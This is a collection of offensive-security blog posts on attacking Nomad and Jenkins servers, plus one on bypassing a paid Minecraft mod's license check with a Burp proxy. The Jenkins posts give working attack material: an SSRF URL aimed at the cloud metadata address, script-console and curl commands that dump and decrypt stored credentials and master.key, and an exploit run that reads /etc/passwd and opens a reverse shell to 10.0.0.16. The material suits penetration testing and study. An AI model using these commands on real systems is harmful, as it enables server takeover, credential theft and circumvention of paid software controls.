Devoops: Nomad with raw_exec enabled

"Nomad is a flexible container orchestration tool that enables an organization to easily deploy and manage any containerized or legacy application using a single, unified workflow. Nomad can run a diverse workload of Docker, non-containerized, microservice, and batch applications, and generally offers the following benefits to developers and operators..."

from: https://www.nomadproject.io/intro/index.html

To get a feel for where it fits in the HashiCorp ecosphere take a look at the following graphic:

I'd like to thank Will Butler for letting me write this up after watching him pwn it.

You can get a dev environment up and running using the tutorial here:
https://www.nomadproject.io/intro/getting-started/install.html

The walkthru has you run it as a dev environment which wont bind to 0.0.0.0 so you'll need the following server and client files to get an appropriate environment up and running after you Vagrant up.

server: https://gist.github.com/carnal0wnage/ce4296137414bd16fcca0818208b39b7
client1: https://gist.github.com/carnal0wnage/4abde0ee31f4d730019e6fa04ef6d3b6
client2: https://gist.github.com/carnal0wnage/a4399019a943862e57283c29994ce5da

If you get everything up and running correctly you should be able to connect to the UI on port 4646 and see the example job

$ nomad job run example.nomad

==> Monitoring evaluation "ac9b4b08"

    Evaluation triggered by job "example"

    Evaluation within deployment: "8a7dfe0f"

    Allocation "57e65abe" created: node "a15034e5", group "cache"

    Evaluation status changed: "pending" -> "complete"

==> Evaluation "ac9b4b08" finished with status "complete"

jobs in the nomad UI

servers in the nomad UI

clients in the nomad UI

Leveraging misconfiguration time. Nomad ships with a raw_exec option that is disabled by default.

ref: https://www.nomadproject.io/docs/drivers/raw_exec.html

the raw_exec option allow you to run a command outside isolation on the nomad host.  

"The raw_exec driver can run on all supported operating systems. For security reasons, it is disabled by default. To enable raw exec, the Nomad client configuration must explicitly enable the raw_exec driver in the client's options:"

How can you see if the raw_exec module is enabled on the clients?

You can check it out it the UI:

or by hitting the API endpoint

Let's exploit this thing.

We need to create a job hcl file with our commands. Here is gist with a simple one:

https://gist.github.com/carnal0wnage/25b391126dadefe0a9523fb421bf8f33

starting the service

Results of our job

job in the UI

Stopping the job

forcefully run the garbage collection

validation the job was deleted

OK let's get a reverse shell. I used the following hcl file:

https://gist.github.com/carnal0wnage/4a436a8dc0dcb142a8c836e48916dd71

Reverse shell job

Shell from nomad

-CG

Info on locking nomad down via ACLs:
https://www.nomadproject.io/guides/security/acl.html

Minecraft Mod, Follow up, and Java Reflection

After yesterday's post, I received a ton of interesting and creative responses regarding how to get around the mod's restrictions which is what I love about our community. Mubix was the first person to reach out and suggest hijacking calls to Pastebin using /etc/hosts (which I did try but was having some wonky behavior with OSX) and there were other suggestions as well with regards to hijacking DNS and pretending to be the site (Pastebin).

However, my FAVORITE suggestion came from a co-worker of mine (and all around super cool/talented hacker) Matt Langlois. He had an idea for a better workaround. One that didn't require proxying web traffic or for you to even be connected to the internet. He decided to override the code that checks the list of allowed users and inject our UUID into that list. It works beautifully but rather than try to explain the details in this blog post, I suggest you visit his blog post to check out the details.

The gist is that Java reflection allows you to override methods in memory and this is exactly what Matt did. So - go check out the blog post!

Minecraft Mod, Mother's Day, and A Hacker Dad

Over the weekend my wife was feeling under the weather. This meant we were stuck indoors and since she is sick and it's Mother's day weekend - less than ideal situation - I needed to keep my son as occupied as possible so she could rest and recuperate.

When I asked my son what he wanted to do, he responded with a new Minecraft mod he'd seen on one of these YouTuber's channels. The mod allows you be various Marvel superheroes! Except, the mod version we downloaded... well it lacked the suits he'd seen on YouTube (of course it did).

Did my homework, realized he wanted a version that was only released if you were a Patreon supporter. Now, I'm totally cool giving 5 bucks for software that somebody poured their heart into and with having recently watched Endgame... the desire for the Iron man stuff shown in this paid-for-mod was larger than the desire to hold on to my 5 dollars. Went on Patreon, donated the $5, and downloaded the mod. Fired it up, everything appeared fine... then I got this...



What? Seriously? Well, I go back in and re-read the Patreon message...



Ugh, so a couple issues here. One, we wanted access now. Taking a day (maybe) to add us to some magical list is less than ideal (which, the creator still hasn't responded to my emails so perhaps... never?). Secondly, I'm wondering if this is some sort of "donate $5 every month to continue being on the magical list to use this mod". And, if I already paid for software, I just plain old don't like being at the mercy of someone else.

Time to be the hacker dad hero my son needs :P (plus, I wanted to teach him a life lesson about the hacker spirit).

Okay so... a mod is just a jar file... let's open this up with JD-GUI and search for "Unauthorized use".



Each of these handlers has the same code, they all look basically identical, and they are checking to see if you're in a list and if you're not, then you don't get to play.

So where is this list coming from? Looks like SuperHeroesBetaTesterChecker.getList()





What? Are we seriously pulling down some list from pastebin.com to find out who our authorized users are?





Alright.... so... UUIDs? As it turns out, UUIDs map to usernames and that information is totally retrievable and this handy site helps https://mcuuid.net/.


Cool so now I know our UUIDs (and you do too but, again, anyone can find that out so it's really whatever).

Now originally, I tried decompiling, changing the source and recompiling. At one point I even had my environment setup to compile from Eclipse with forge and this source code. But this was taking a couple hours and I needed a quick solution. This is where Burp came into play. Here is what I did.

1. Set Burp to listen on all interfaces under the proxy options
2. Exported its certificate so that both my son and my machines trusted the proxy for https traffic (no cert warnings)
3. Set our machines to use the Burp proxy for all of our traffic for Secure Web Traffic
4. Added a few proxy match & replace rules that replaces one of the other UUIDs with ours (and usernames for dev level access because.. why not)



That's basically it. Once our machines started routing traffic thru my Burp proxy, every response from pastebin.com with those UUIDs automatically had ours added to the list as authorized users and it worked like a charm.



Note that I have not given detailed instructions on those above 4 steps because... there are already tons of tutorials out there if you're not already familiar with Burp & proxying web traffic.

Let's summarize. We paid $5, and we got told we still needed special permission to use this mod. Didn't sit well, wanted to get this working, and figured I could teach my son a little bit about computers/hacking. Now, did I email the creator of the mod? Yes, in fact I let them know what I found and the workaround. Was very upfront about that. Also provided usernames in case the creator did feel like adding them (though I doubt he's feeling super generous). But we had some fun, learned a little, and got to use the mod.

Having said all that, if you're in a position to donate even a few bucks for software that someone spends a good chunk of their time writing, I'd say do it. But if they don't deliver as promised... put on your hacker hat :-).

Jenkins - CVE-2018-1000600 PoC

second exploit from the blog post

https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html

Chained with CVE-2018-1000600 to a Pre-auth Fully-responded SSRF
https://jenkins.io/security/advisory/2018-06-25/#SECURITY-915

This affects the GitHub plugin that is installed by default. However, I learned that when you spin up a new jenkins instance it pulls all the updated plugins (also by default) I'm honestly not sure how often people set update to latest plugin on by default but it does seem to knock down some of this stuff.

exploit works against: GitHub Plugin up to and including 1.29.1

When i installed Jenkins today (25 Feb 19) it installed 1.29.4 by default thus the below does NOT work.

From the blog post:

CSRF vulnerability and missing permission checks in GitHub Plugin allowed capturing credentials 

It can extract any stored credentials with known credentials ID in Jenkins. But the credentials ID is a random UUID if there is no user-supplied value provided. So it seems impossible to exploit this?(Or if someone know how to obtain credentials ID, please tell me!)

Although it can’t extract any credentials without known credentials ID, there is still another attack primitive - a fully-response SSRF! We all know how hard it is to exploit a Blind SSRF, so that’s why a fully-responded SSRF is so valuable!

PoC:

http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword
?apiUrl=http://169.254.169.254/%23
&login=orange
&password=tsai

To get old versions of the plugin and info you can go to  
https://wiki.jenkins.io/display/JENKINS/GitHub+Branch+Source+Plugin

download old versions
https://updates.jenkins.io/download/plugins/github-branch-source/
https://updates.jenkins.io/download/plugins/github/

Jenkins - messing with exploits pt3 - CVE-2019-1003000

References:

https://www.exploit-db.com/exploits/46453
http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html

This post covers the Orange Tsai Jenkins pre-auth exploit

Vuln versions: Jenkins < 2.137 (preauth)

Pipeline: Declarative Plugin up to and including 1.3.4
Pipeline: Groovy Plugin up to and including 2.61
Script Security Plugin up to and including 1.49  (in CG's testing 1.50 is also vuln)

The exploitdb link above lists a nice self contained exploit that will compile the jar for you and serve it up for retrieval by the vulnerable Jenkins server.

nc -l 8888 -vv

whoami
bash: no job control in this shell
 bash-3.2$ jenkins

After Jenkins 2.138 the preauth is gone but if you have  an overall read token and the plugins are still vulnerable you can still exploit that server.  You can just add your cookie to the script and it will hit the url with your authenticated cookie and you can still exploit the server.

Jenkins - Identify IP Addresses of nodes

While doing some research I found several posts on stackoverflow asking how to identify the IP address of nodes.  You might want to know this if you read the decrypting credentials post and managed to get yourself some ssh keys for nodes but you cant actually see the node's IP in the Jenkins UI.

Stackoverflow link: https://stackoverflow.com/questions/14930329/finding-ip-of-a-jenkins-node
blog on setting up a node: https://embeddedartistry.com/blog/2017/12/22/jenkins-configuring-a-linux-slave-node

 There are great answers in the stackoverflow post on using the script console but in the event you found yourself with just the Jenkins directory or no access to the script console it's pretty easy to get this information.

You can just browse to jenkins-ip/computer/$nodename/config.xml. This request will require the extended read permission.

Optionally if you are on the box  or have a backup you can go to jenkins-dir/nodes/$nodename/config.xml

Jenkins - decrypting credentials.xml

If you find yourself on a Jenkins box with script console access you can decrypt the saved passwords in credentials.xml in the following way:

hashed_pw='$PASSWORDHASH'
passwd = hudson.util.Secret.decrypt(hashed_pw)
println(passwd)

You need to perform this on the the Jenkins system itself as it's using the local master.key and hudson.util.Secret

Screenshot below

Code to get the credentials.xml from the script console

Windows
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'cmd.exe /c type credentials.xml'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

*nix
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'cat credentials.xml'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

If you just want to do it with curl you can hit the scriptText endpoint and do something like this:

Windows:
curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cmd.exe+/c+type+credentials.xml%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run"

Also because this syntax took me a minute to figure out for files in subdirectories:

curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cmd.exe+/c+type+secrets%5C\master.key%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run

*nix
curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cat+credentials.xml%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run"


Then to decrypt any passwords:

curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=println(hudson.util.Secret.fromString('7pXrOOFP1XG62UsWyeeSI1m06YaOFI3s26WVkOsTUx0=').getPlainText())"

If you are in a position where you have the files but no access to jenkins you can use:
https://github.com/tweksteen/jenkins-decrypt

There is a small bug in the python when it does the regex and i havent bothered to fix it at the time of this post. But here is version where instead of the regex i'm just printing out the values and you can see the decrypted password. The change is line 55.

Edit 4 March 19: the script only regexs for password (line 72), you might need to swap out the regex if there are ssh keys or other secrets...read the credentials.xml file :-)

Edit 8 April 19: This tweet outlines another similar way  
https://twitter.com/netmux/status/1115237815590236160

Jenkins - SECURITY-180/CVE-2015-1814 PoC

Forced API token change

SECURITY-180/CVE-2015-1814

https://jenkins.io/security/advisory/2015-03-23/#security-180cve-2015-1814-forced-api-token-change

Affected Versions

• All Jenkins releases <= 1.605
• All LTS releases <= 1.596.1

PoC
Tested against Jenkins 1.605

Burp output

Validate new token works

Jenkins - SECURITY-200 / CVE-2015-5323 PoC

API tokens of other users available to admins

SECURITY-200 / CVE-2015-5323

API tokens of other users were exposed to admins by default. On instances that don’t implicitly grant RunScripts permission to admins, this allowed admins to run scripts with another user’s credentials.

Affected versions

All Jenkins main line releases up to and including 1.637

All Jenkins LTS releases up to and including 1.625.1

PoC

Tested against Jenkins 1.6.37

From the script console:

run some groovy code to get the token of another user

wrong token

correct token

Jenkins Master Post

A collection of posts on attacking Jenkins

http://www.labofapenetrationtester.com/2014/08/script-execution-and-privilege-esc-jenkins.html
Manipulating build steps to get RCE

https://medium.com/@uranium238/shodan-jenkins-to-get-rces-on-servers-6b6ec7c960e2
Using the terminal plugin to get RCE

https://sharadchhetri.com/2018/12/02/managing-jenkins-plugins/
Getting started with Jenkins Plugins

https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html
Vulns in

• Pipeline: Declarative Plugin up to and including 1.3.4
• Pipeline: Groovy Plugin up to and including 2.61
• Script Security Plugin up to and including 1.49

Blog post says: This issue has been fixed in Jenkins version 2.121.1 LTS (2.132 weekly).

http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
CVE-2019-1003000 (https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266)

https://github.com/Coalfire-Research/java-deserialization-exploits/tree/master/Jenkins
https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream
CVE-2015-8103 & CVE-2016-0792

https://github.com/nixawk/labs/tree/master/CVE-2017-1000353
https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2017-1000353
https://www.twistlock.com/2017/06/18/jenkins-java-deserialization/
CVE-2017-1000353 PoC

https://cloud.tencent.com/developer/article/1165414
https://github.com/anntsmart/CVE
CVE-2018-1999002 (windows) Arbitrary file read

A arbitrary file read vulnerability exists in Jenkins 2.132 and earlier, 2.121.1 and earlier in the Stapler web framework. Under Windows, directories that don't exist can be traversed by ../, but not for Linux. Then this vulnerability can be read by any file under Windows. Under Linux, you need to have a directory with _ in the Jenkins plugins directory.

https://www.crowdstrike.com/blog/your-jenkins-belongs-to-us-now-abusing-continuous-integration-systems/
https://www.n00py.io/2017/01/compromising-jenkins-and-extracting-credentials/
Decrypting credentials.xml 

https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/
Jenkins, windows, powershell

https://securitynews.sonicwall.com/xmlpost/jenkins-ci-server-at-risk-high-risk-vulnerbaility/
https://www.zdnet.com/article/thousands-of-jenkins-servers-will-let-anonymous-users-become-admins/
https://www.cyberark.com/threat-research-blog/tripping-the-jenkins-main-security-circuit-breaker-an-inside-look-at-two-jenkins-security-vulnerabilities/
CVE-2018-1999001 malformed request moves the config.xml file, after restart anyone can log in - couple it with a DoS (CVE-2018-1999043) to force restart 

• Jenkins weekly up to and including 2.132
• Jenkins LTS up to and including 2.121.1

CG Posts:

https://carnal0wnage.attackresearch.com/2019/02/jenkins-messing-with-new-exploits-pt1.html
Username enumeration Jenkins 2.137 and below

https://carnal0wnage.attackresearch.com/2019/02/jenkins-security-200-cve-2015-5323-poc.html
Jenkins - SECURITY-200 / CVE-2015-5323 PoC (API tokens of other users available to admins)

https://carnal0wnage.attackresearch.com/2019/02/jenkins-security-180cve-2015-1814-poc.html
Jenkins - SECURITY-180/CVE-2015-1814 PoC (Forced Token Change)

https://carnal0wnage.attackresearch.com/2019/02/jenkins-decrypting-credentialsxml.html
Decrypting Jenkins credentials.xml 

https://carnal0wnage.attackresearch.com/2019/03/jenkins-cve-2018-1000600-poc.html
Jenkins - CVE-2018-1000600 SSRF in GitHub plugin

https://carnal0wnage.attackresearch.com/2019/02/jenkins-messing-with-exploits-pt2-cve.html
Jenkins - CVE-2019-1003000 Pt 1

https://carnal0wnage.attackresearch.com/2019/03/jenkins-messing-with-exploits-pt3-cve.html
Jenkins - CVE-2019-1003000 Pt 2 - Orange Tsai exploit

https://carnal0wnage.attackresearch.com/2019/03/jenkins-identify-ip-addresses-of-nodes.html
Jenkins - Identify IP Addresses of nodes

Jenkins - messing with exploits pt2 - CVE-2019-1003000

After the release of Orange Tsai's exploit for Jenkins. I've been doing some poking. PreAuth RCE against Jenkins is something everyone wants.

While not totally related to the blog post and tweet the following exploit came up while searching.

What I have figured out that is important is the plug versions as it relates to these latest round of Jenkins exploits.  TBH I never paid much attention to the plugins in the past as the issues have been with core Jenkins (as was the first blog post) but you can get a look at them by going to jenkins-server/pluginManager/installed

Jenkins plugin manager

It does require admin permissions or you get this:

No permissions for Jenkins plugin manager

If you do have permissions you can also hit it with the jenkins-cli client and pull the info

$ java -jar jenkins-cli.jar -s http://10.0.0.166:8080/ -auth admin:admin list-plugins

jsch                               JSch dependency plugin                                           0.1.55

structs                            Structs Plugin                                                   1.17

apache-httpcomponents-client-4-api Apache HttpComponents Client 4.x API Plugin                      4.5.5-3.0

mailer                             Mailer Plugin                                                    1.23

command-launcher                   Command Agent Launcher Plugin                                    1.3

workflow-api                       Pipeline: API                                                    2.33

workflow-job                       Pipeline: Job                                                    2.31

ssh-credentials                    SSH Credentials Plugin                                           1.14

authentication-tokens              Authentication Tokens API Plugin                                 1.3

workflow-cps-global-lib            Pipeline: Shared Groovy Libraries                                2.13

jackson2-api                       Jackson 2 API Plugin                                             2.9.8

pipeline-stage-tags-metadata       Pipeline: Stage Tags Metadata                                    1.3.4.1

pipeline-milestone-step            Pipeline: Milestone Step                                         1.3.1

credentials                        Credentials Plugin                                               2.1.18

lockable-resources                 Lockable Resources plugin                                        2.4

jquery-detached                    JavaScript GUI Lib: jQuery bundles (jQuery and jQuery UI) plugin 1.2.1

workflow-scm-step                  Pipeline: SCM Step                                               2.7

matrix-auth                        Matrix Authorization Strategy Plugin                             2.3

matrix-project                     Matrix Project Plugin                                            1.13

pipeline-stage-step                Pipeline: Stage Step                                             2.3

pipeline-build-step                Pipeline: Build Step                                             2.7

pipeline-input-step                Pipeline: Input Step                                             2.9

bouncycastle-api                   bouncycastle API Plugin                                          2.17

handlebars                         JavaScript GUI Lib: Handlebars bundle plugin                     1.1.1

momentjs                           JavaScript GUI Lib: Moment.js bundle plugin                      1.1.1

plain-credentials                  Plain Credentials Plugin                                         1.5

docker-commons                     Docker Commons Plugin                                            1.13

git-client                         Git client plugin                                                2.7.6

pipeline-rest-api                  Pipeline: REST API Plugin                                        2.10

workflow-basic-steps               Pipeline: Basic Steps                                            2.14

credentials-binding                Credentials Binding Plugin                                       1.17 (1.18)

pipeline-stage-view                Pipeline: Stage View Plugin                                      2.10

workflow-multibranch               Pipeline: Multibranch                                            2.20

script-security                    Script Security Plugin                                           1.49 (1.53)

git-server                         GIT server Plugin                                                1.7

workflow-step-api                  Pipeline: Step API                                               2.19

pipeline-graph-analysis            Pipeline Graph Analysis Plugin                                   1.9

pipeline-model-api                 Pipeline: Model API                                              1.3.4.1

workflow-cps                       Pipeline: Groovy                                                 2.61 (2.63)

branch-api                         Branch API Plugin                                                2.1.2

jdk-tool                           JDK Tool Plugin                                                  1.2

cloudbees-folder                   Folders Plugin                                                   6.7

durable-task                       Durable Task Plugin                                              1.29

junit                              JUnit Plugin                                                     1.27

scm-api                            SCM API Plugin                                                   2.3.0

ace-editor                         JavaScript GUI Lib: ACE Editor bundle plugin                     1.1

display-url-api                    Display URL API                                                  2.3.0

workflow-support                   Pipeline: Supporting APIs                                        3.2

AFAIK you cant enumerate plugins installed and their version without (elevated) authentication like you can with things like WordPress.  If you know how, please let me know.  For the time being i guess it's just throwing things to see what sticks.

As I mentioned, the latest particular vulns are issues with installed Jenkins plugins. Taking a look at CVE-2019-1003000 (https://nvd.nist.gov/vuln/detail/CVE-2019-1003000) we can see that it affects the Script Security Plugin (the nist.gov says 2.49 but it's a typo and should be 1.49) as seen on the Jenkins advisory https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266

An exploit for the issue exists and is available here:  https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc it even comes with a docker config to spin up a vulnerable version to try it out on.  What's important about this particular exploit is that it IS post auth but it doesn't require script permissions, only Overall/Read permission and Job/Configure permissions.

I'm seeing more and more servers/admins (rightfully) block access to the script &  scriptText console because it's well documented that is an immediate RCE.

no script permission

I encourage you to read the whole readme file in the repo but the most important part is here:

A flaw was found in Pipeline: Declarative Plugin before version 1.3.4.1, Pipeline: Groovy Plugin before version 2.61.1 and Script Security Plugin before version 1.50

This PoC is using a user with Overall/Read and Job/Configure permission to execute a maliciously modified build script in sandbox mode, and try to bypass the sandbox mode limitation in order to run arbitrary scripts (in this case, we will execute system command).

As a background, Jenkins's pipeline build script is written in groovy. This build script will be compiled and executed in Jenkins master or node, containing definition of the pipeline, e.g. what to do in slave nodes. Jenkins also provide the script to be executed in sandbox mode. In sandbox mode, all dangerous functions are blacklisted, so regular user cannot do anything malicious to the Jenkins server.

Running the exploit:

 python2.7 exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "cat /etc/passwd"
[+] connecting to jenkins...
[+] crafting payload...
[+] modifying job with payload...
[+] putting job build to queue...
[+] waiting for job to build...
[+] restoring job...
[+] fetching output...
[+] OUTPUT:
Started by user User 1
Running in Durability level: MAX_SURVIVABILITY
[Pipeline] echo
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
jenkins:x:1000:1000:Linux User,,,:/var/jenkins_home:/bin/bash

[Pipeline] End of Pipeline
Finished: SUCCESS

you can certainly pull a reverse shell from it as well.

python2.7 exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "bash -i >& /dev/tcp/10.0.0.16/4444 0>&1"
[+] connecting to jenkins...
[+] crafting payload...
[+] modifying job with payload...
[+] putting job build to queue...
[+] waiting for job to build...
[+] restoring job...
[+] fetching output...
[+] OUTPUT:
Started by user User 1
Running in Durability level: MAX_SURVIVABILITY

and you get:

nc -l 4444 -vv

bash: cannot set terminal process group (7): Not a tty
bash: no job control in this shell
bash-4.4$
bash-4.4$
bash-4.4$ whoami
whoami
jenkins

bash-4.4$


The TLDR is you can use this exploit to get a shell if an older version of the Script Security Plugin is installed and if you have Overall/Read permission and Job/Configure permission which a regular Jenkins user is more inclined to have and  this exploit doesn't require using the script console.